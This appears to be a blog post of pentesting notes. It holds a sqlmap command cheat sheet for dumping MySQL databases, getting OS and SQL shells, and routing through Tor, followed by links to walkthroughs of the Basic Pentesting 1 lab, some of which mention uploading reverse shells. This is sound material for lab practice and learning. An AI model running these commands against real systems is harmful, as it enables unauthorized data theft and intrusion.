# Enumerate databases sqlmap --dbms=mysql -u "$URL" --dbs # Enumerate tables sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables # Dump table data sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump # Specify parameter to exploit sqlmap --dbms=mysql -u "http://www.example.com/param1=value1¶m2=value2" --dbs -p param2 # Specify parameter to exploit in 'nice' URIs sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs # exploits param1 # Get OS shell sqlmap --dbms=mysql -u "$URL" --os-shell # Get SQL shell sqlmap --dbms=mysql -u "$URL" --sql-shell # SQL query sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;" # Use Tor Socks5 proxy sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs1. from https://gist.github.com/jkullick/03b98b1e44f03986c5d1fc69c092220d
Notes: Walkthru: 1. https://medium.com/@evire/basic-pentesting-1-7251fb3e3f9e [ w/metasploi t using Wordpress t] 2. https://prasannakumar.in/infosec/vulnhub-basic-pentesting-1-writeup/ [ w/metasploit using ftp ] 3. https://www.ceos3c.com/hacking/basic-pentesting-1-walkthrough/ [ by uploading php-reverse-shell in wordpress ] 4. http://k3ramas.blogspot.com/2018/02/basic-pentesting-1-walkthrough.html [ access wordpress config file to get pwd and access the DB ] 5. https://cowsayroot.com/walkthrough-basic-pentesting-1/ [ Wpscan, ftp metasploit vulnerability, phpbash ] 6. http://www.hackingarticles.in/hack-the-basic-penetration-vm-boot2root-challenge/ [use msfvenom to create to create php shell to be uploaded in Wordpress ] 7. https://d7x.promiselabs.net/2018/01/30/ctf-basic-pentesting-a-guide-for-beginners/ [adding command using using PHP] Notes: Ports - 21...ProFTPD 1.3.3c - 22 openSSH 7.2p2 ubuntu ...
Comments
Post a Comment